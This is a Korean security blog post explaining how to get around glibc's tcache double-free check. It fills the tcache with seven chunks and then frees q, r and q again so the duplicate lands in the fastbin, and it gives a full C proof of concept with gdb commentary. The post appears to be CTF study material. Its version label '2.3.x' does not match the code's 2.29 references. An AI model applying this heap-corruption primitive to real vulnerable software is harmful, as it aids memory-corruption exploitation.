HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • JNDI
  • 아파치
  • log4j
  • 취약점

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

Fastbin double free in Glibc 2.3.x
SYSTEM HACKING/기법

Fastbin double free in Glibc 2.3.x

2022. 1. 1. 14:49
728x90

Heap관련 CTF 문제를 풀던 도중

double free 관련한 취약점을 찾고 이를 이용하려고 해봤지만

"free(): double free detected in tcache 2"이라는 오류문구와 함께 double free가 막히는 것을 확인하였다.

 

찾아본 결과 2.3.0버전 이후부터 glibc의 패치를 통해서 fastbin double free detection 기능이 추가됐다.

하지만 이를 우회하는 방법도 있어서 이에 대해서 작성 하고자한다.


sourcecode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
int main()
{
    /*this is double free related security mechanisms in glibc 2.29.
     *    if (__builtin_expect (old == p, 0))
      malloc_printerr ("double free or corruption (fasttop)");
    * */
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("fastbin_double_free can help you achieve \"arbitrary address writes\"\n");
 
    void *q,*r,*d;
    void *p[7];
    printf("First of all ,we need to Apply for heap blocks of the same size to consume tcache!\n");
    for(int i=0;i<7;i++)
    {
        p[i] = malloc(0x10);
        printf("p[%d]  ===>  %p\n",i,p[i]);
    }
    q = malloc(0x10);
    r = malloc(0x10);
    printf("now , we need to free 7 heap blocks to populate tcache linked list!\n");
    for(int i=0;i<7;i++)
    {
        printf("now free p[%d]  ===>  %p\n",i,p[i]);
        free(p[i]);
        p[i] = 0;
    }
    printf("now ,Our free heap blocks will be put into fastbin\n");
    printf("now free q  ===>  %p\n",q);
    free(q);
    printf("in order to achieve double free , we need to free another block to bypass check in glibc 2.29 !\n");
    printf("now free r  ===>  %p\n",r);
    free(r);
    printf("now we free q again!\n");
    printf("now free q  ===>  %p\n",q);
    free(q);
    printf("OK,we already achieve double free in glibc 2.29.!\n");
}
Colored by Color Scripter
cs

 

생각보다 이전보다 어렵지는 않은 것 같다.

이전에는 

1. a,b 힙을 할당한다.

2. a -> b -> a 순서로 해제한다.

3. a를 재할당 후 fd를 조작해 원하는 주소에 heap을 할당한다.

이런 식으로 진행이 됐지만.(※모르면 이 글 참조하기)

 

이번에는

1. tcache를 이용하기 위해 같은 크기의 heap을 할당을 한다.

2. double free linked list를 만들 heap 두개를 할당해준다.

3. free를 통해 tcache에 저장해준다.(※7개가 최대)

4. 7개가 초과가 되면 원래 자신이 속하는 크기의 bin으로 들어가게 된다.

5. tcache 내부에서 double free를 감지하는 것이기 때문에 해당 bin에서 double free시 감지 불가.

 

설명을 대강 했으니 gdb를 통해서 확인해보자.

확인은 main에 있는 malloc,free에 모두 break를 걸고 진행을 시켜보았다.

 


p[0~6],q,r을 모두 mallo 시킨 후의 heap 상태이다.

아직 free를 하지 않아서 fd,bk는 적혀있지 않는 상태이다

 

p[0~6]까지 free를 진행시킨 상태이며

tcache 내부에서 single linked list를 통해서 연결을 해주고 있는 상태이다.

현재까지 tcache 내부에 7개가 모두 저장이 되어있어서 다음부터 free되는 힙들은 해당 청크가 속한 사이즈의

bin으로 들어가게 될 것이다.

 

q가 free된 상태이다.

이전과는 다르게 fastbin으로 들어가게 되었다.

이를통해 tcache에서 하는 double free 감지 코드가 우회 가능하게 되었다.

 

마지막으로 r을 free 시키고

q를 한번 더 free 하므로써 double free가 이루어진다.

'SYSTEM HACKING > 기법' 카테고리의 다른 글

Unsafe unlink in glibc 2.23, 2.27 and over 2.27  (0) 2022.01.22
Poison Null Byte in glibc 2.27  (0) 2022.01.16
About Heap(2)  (0) 2021.12.28
About Heap(1)  (0) 2021.12.25
Leak Stack Address  (0) 2021.05.02
    'SYSTEM HACKING/기법' 카테고리의 다른 글
    • Unsafe unlink in glibc 2.23, 2.27 and over 2.27
    • Poison Null Byte in glibc 2.27
    • About Heap(2)
    • About Heap(1)
    HO_9
    HO_9

    티스토리툴바